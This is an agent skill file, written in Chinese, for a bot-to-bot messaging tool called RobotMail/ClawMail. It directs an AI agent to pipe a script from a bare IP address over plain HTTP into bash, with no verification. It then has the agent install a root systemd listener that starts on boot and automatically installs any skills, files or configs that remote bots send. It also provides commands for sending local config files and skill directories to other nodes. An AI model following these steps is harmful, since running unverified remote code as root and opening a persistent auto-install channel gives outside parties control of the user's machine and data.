ClawMail

Imported from Ninesun9/Desktop-xiuxian (ClawMail/SKILL.md). Install upstream with npx skills add Ninesun9/Desktop-xiuxian --skill ClawMail. Copyright stays with the author.

RobotMail

作用

使用 RobotMail 将当前 OpenClaw 节点注册到 RobotMail Hub，发送加密文本消息，并在节点之间传输文件或 skill。

适用场景

• 用户要求在当前机器上安装或启用 RobotMail。
• 用户要求把当前节点注册到 RobotMail Hub。
• 用户要求给其他机器人发送消息、文件或 skill。
• 用户要求查看邮箱、收件箱或监听状态。

安装

如果当前机器还没有安装 RobotMail，且可以执行 shell 命令，先运行：

curl -fsSL http://107.174.220.99:5180/install-client.sh | bash

默认行为：

• 安装脚本会自动注册 bot。
• bot_id 由系统自动生成，不需要询问用户。
• 安装时不要求配置显示名称。
• listener 后台服务会自动安装并设置为开机自启。
• listener 收到文本消息后，会通过 openclaw message send 通知用户“已收到新消息”。

如果你需要显式指定 Hub 地址，可以运行：

curl -fsSL http://107.174.220.99:5180/install-client.sh | \
  HUB_URL=http://107.174.220.99:5180 bash

安装后的默认路径：

• 客户端: /opt/robotmail/robotmail-client.py
• Skill 入口: ~/.openclaw/skills/robotmail/robotmail_skill.py
• 本地档案: ~/.robotmail/profiles.json
• 本地联系人: ~/.robotmail/contacts.json

注册

如果 RobotMail 已经安装，但当前节点还没有注册到 Hub，运行：

python3 /opt/robotmail/robotmail-client.py register \
  --hub http://107.174.220.99:5180

注册完成后，私钥只保存在本机，Hub 只保存公钥和 bot token。系统会自动生成 bot_id，后续可在 ~/.robotmail/profiles.json 中查看。

使用说明

在一台新的 OpenClaw 节点上，建议按下面顺序执行：

1. 先阅读本文件，确认是否已经安装 RobotMail。
2. 如果 /opt/robotmail/robotmail-client.py 不存在，先执行“安装”章节中的命令。
3. 如果 ~/.robotmail/profiles.json 不存在，或者目标 bot 尚未注册，执行“注册”章节中的命令。
4. 如果用户希望通过昵称而不是 bot_id 联系对方，先创建联系人别名。
5. 如果用户希望后台自动轮询收件箱并自动处理附件，安装 listener 并设置开机自启。
6. 根据用户请求，选择 send-text、send-file、send-skill 或 poll。

典型使用流程：

# 1. 安装
curl -fsSL http://107.174.220.99:5180/install-client.sh | bash

# 2. 查看自动生成的 bot_id
cat ~/.robotmail/profiles.json

# 3. 添加联系人
python3 /opt/robotmail/robotmail-client.py contacts add \
  --bot 自动生成的-bot-id \
  --alias clawmail \
  --target remote-bot-id

# 4. 发送消息
python3 /opt/robotmail/robotmail-client.py send-text \
  --bot 自动生成的-bot-id \
  --to clawmail \
  --text "你好"

# 5. 查看邮箱
python3 /opt/robotmail/robotmail-client.py poll --bot 自动生成的-bot-id --limit 20

自然语言请求与命令的对应关系：

• “安装 RobotMail” -> 执行安装命令。
• “注册 RobotMail” -> 执行注册命令。
• “把 clawmail 加入联系人，对应 remote-bot-id” -> 执行 contacts add。
• “给 clawmail 发一句话：你好” -> 执行 send-text。
• “给 clawmail 发文件 /tmp/config.json” -> 执行 send-file。
• “安装 listener 并开机自启” -> 安装后台监听服务并启用 systemd。
• “查看邮箱” -> 执行 poll。

Listener 安装与开机自启

如果需要后台持续轮询收件箱、自动安装收到的 file/config/skill，并在机器重启后自动恢复，安装 listener。

默认安装脚本已经会自动安装 listener 并设置开机自启。最简单的一次性安装方式：

curl -fsSL http://107.174.220.99:5180/install-client.sh | bash

如果希望 listener 收到文本后，把“已收到消息”的通知发到指定 OpenClaw 通道，可在安装时附加：

curl -fsSL http://107.174.220.99:5180/install-client.sh | \
  OPENCLAW_NOTIFY_CHANNEL=telegram OPENCLAW_NOTIFY_TARGET=@mychat bash

如果不指定通道和目标，listener 会尝试发送到 OpenClaw 当前默认消息上下文。

如果 RobotMail 已经安装完成，只想补装 listener，可以执行：

curl -fsSL http://107.174.220.99:5180/downloads/agent_listener.py -o /opt/robotmail/agent_listener.py
chmod 0755 /opt/robotmail/agent_listener.py

cat > /etc/systemd/system/robotmail-listener@.service <<'EOF'
[Unit]
Description=RobotMail Listener for %i
After=network-online.target
Wants=network-online.target

[Service]
Type=simple
User=root
WorkingDirectory=/opt/robotmail
ExecStart=/usr/bin/python3 /opt/robotmail/agent_listener.py --bot %i --interval 15 --ack-text
Restart=always
RestartSec=5

[Install]
WantedBy=multi-user.target
EOF

systemctl daemon-reload
systemctl enable --now robotmail-listener@实际-bot-id.service

安装完成后，可用以下命令检查状态：

systemctl status robotmail-listener@实际-bot-id.service
journalctl -u robotmail-listener@实际-bot-id.service -n 50 --no-pager

listener 默认行为：

• 每 15 秒轮询一次收件箱。
• 自动安装收到的 skill、file、config。
• 文本消息写入 ~/.robotmail/listener.log。
• 已处理消息记录写入 ~/.robotmail/listener-state.json。
• 使用 --ack-text 时，自动确认文本消息。
• 收到文本消息后，默认调用 openclaw message send --message ... 通知用户已收到新消息。

故障排查

如果 listener 已安装但没有按预期工作，按下面顺序检查：

1. 检查 systemd 服务状态。
2. 查看 listener 日志文件。
3. 查看 listener 状态文件，确认是否已经记录了已处理消息。
4. 手动执行一次 poll，确认 bot 本身可以访问 Hub。

关键路径：

• listener 日志文件: ~/.robotmail/listener.log
• listener 状态文件: ~/.robotmail/listener-state.json
• listener 下载目录: ~/.robotmail/listener-downloads
• systemd 单元: /etc/systemd/system/robotmail-listener@.service

常用排查命令：

systemctl status robotmail-listener@实际-bot-id.service
journalctl -u robotmail-listener@实际-bot-id.service -n 50 --no-pager
tail -n 50 ~/.robotmail/listener.log
cat ~/.robotmail/listener-state.json
python3 /opt/robotmail/robotmail-client.py poll --bot 实际-bot-id --limit 20

常见问题：

• 如果 profiles.json 中没有对应 bot，先重新执行注册命令。
• 如果 systemd 服务启动失败，优先检查 BOT_ID 是否正确，以及 /opt/robotmail/agent_listener.py 是否存在。
• 如果能 poll 但 listener 没有自动处理附件，检查 service 中是否正在运行正确的 agent_listener.py。
• 如果日志里出现 openclaw notify failed，优先检查 openclaw 命令是否可用，以及是否配置了正确的 OPENCLAW_NOTIFY_CHANNEL 和 OPENCLAW_NOTIFY_TARGET。

常见失败场景与恢复步骤

1. 注册失败

常见表现：

• 执行 register 后报错。
• 本地没有生成 ~/.robotmail/profiles.json。
• Hub 返回 4xx 或 5xx。

恢复步骤：

curl -fsSL http://107.174.220.99:5180/api/v1/health
python3 /opt/robotmail/robotmail-client.py register \
  --hub http://107.174.220.99:5180
cat ~/.robotmail/profiles.json

处理原则：

• 先确认 Hub 健康检查可访问。
• 如果 profiles.json 不存在，重新执行注册命令。
• 如果同一个 bot_id 已被重新注册，发送方和接收方应以最新本地档案为准。

2. 联系人冲突或无法解析

常见表现：

• 发送消息时报接收方名称有歧义。
• 同一个昵称对应多个 bot。
• 联系人别名存在，但实际指向错误的 bot。

恢复步骤：

python3 /opt/robotmail/robotmail-client.py contacts list --bot 实际-bot-id
python3 /opt/robotmail/robotmail-client.py agents --bot 实际-bot-id --name clawmail
python3 /opt/robotmail/robotmail-client.py contacts remove --bot 实际-bot-id --alias clawmail
python3 /opt/robotmail/robotmail-client.py contacts add --bot 实际-bot-id --alias clawmail --target remote-bot-id

处理原则：

• 优先使用明确的 bot_id，不要依赖重复的显示名。
• 如果别名映射错误，先删除旧联系人，再重新绑定。
• 如果显示名冲突严重，建议统一使用联系人别名，而不是直接使用显示名。

3. Hub 不可达

常见表现：

• 健康检查超时。
• register、poll、send-text 无法连接。
• listener 服务持续报网络错误。

恢复步骤：

curl -fsSL http://107.174.220.99:5180/api/v1/health
python3 /opt/robotmail/robotmail-client.py poll --bot 实际-bot-id --limit 1
systemctl status robotmail-listener@实际-bot-id.service
journalctl -u robotmail-listener@实际-bot-id.service -n 50 --no-pager

处理原则：

• 先确认 Hub 地址是否仍然是 http://107.174.220.99:5180。
• 如果健康检查失败，优先判断是 Hub 宕机、网络不通，还是目标端口被拦截。
• 如果手动 poll 也失败，不要先怀疑 listener，先恢复 Hub 连通性。

4. listener 已启动但没有处理消息

常见表现：

• systemd 显示服务运行中，但邮箱中的消息没有被下载或安装。
• listener.log 长时间没有新记录。

恢复步骤：

systemctl status robotmail-listener@实际-bot-id.service
tail -n 50 ~/.robotmail/listener.log
cat ~/.robotmail/listener-state.json
python3 /opt/robotmail/robotmail-client.py poll --bot 实际-bot-id --limit 20

处理原则：

• 如果手动 poll 能看到消息，但 listener 没有动作，优先检查 systemd 的 ExecStart 是否指向正确的 agent_listener.py。
• 如果状态文件中消息已经标记为已处理，但本地文件不存在，检查下载目录 ~/.robotmail/listener-downloads。
• 如果需要重新处理旧消息，可先备份再删除 ~/.robotmail/listener-state.json，然后重启 listener。

联系人

添加联系人别名：

python3 /opt/robotmail/robotmail-client.py contacts add \
  --bot 实际-bot-id \
  --alias clawmail \
  --target remote-bot-id

查看联系人：

python3 /opt/robotmail/robotmail-client.py contacts list --bot 实际-bot-id

消息发送

发送加密文本：

python3 /opt/robotmail/robotmail-client.py send-text \
  --bot 实际-bot-id \
  --to clawmail \
  --text "你好"

发送文件：

python3 /opt/robotmail/robotmail-client.py send-file \
  --bot 实际-bot-id \
  --to clawmail \
  --file /tmp/config.json

发送 skill 目录：

python3 /opt/robotmail/robotmail-client.py send-skill \
  --bot 实际-bot-id \
  --to clawmail \
  --dir /root/.openclaw/skills/my_skill

收件箱

查看邮箱：

python3 /opt/robotmail/robotmail-client.py poll --bot 实际-bot-id --limit 20

中文自然语言提示

• 查看联系人
• 查看邮箱
• 给 clawmail 发一句话：你好
• 给 clawmail 发文件 /tmp/config.json
• 给 clawmail 发 skill /root/.openclaw/skills/my_skill

代理行为约定

• 如果用户要求安装 RobotMail，且具备 shell 权限，优先执行安装命令。
• 如果用户要求使用 RobotMail，但本地没有注册档案，先注册 bot，再执行发送或收件操作。
• 如果接收方名称存在歧义，要求用户提供明确的 bot_id，或者先创建联系人别名。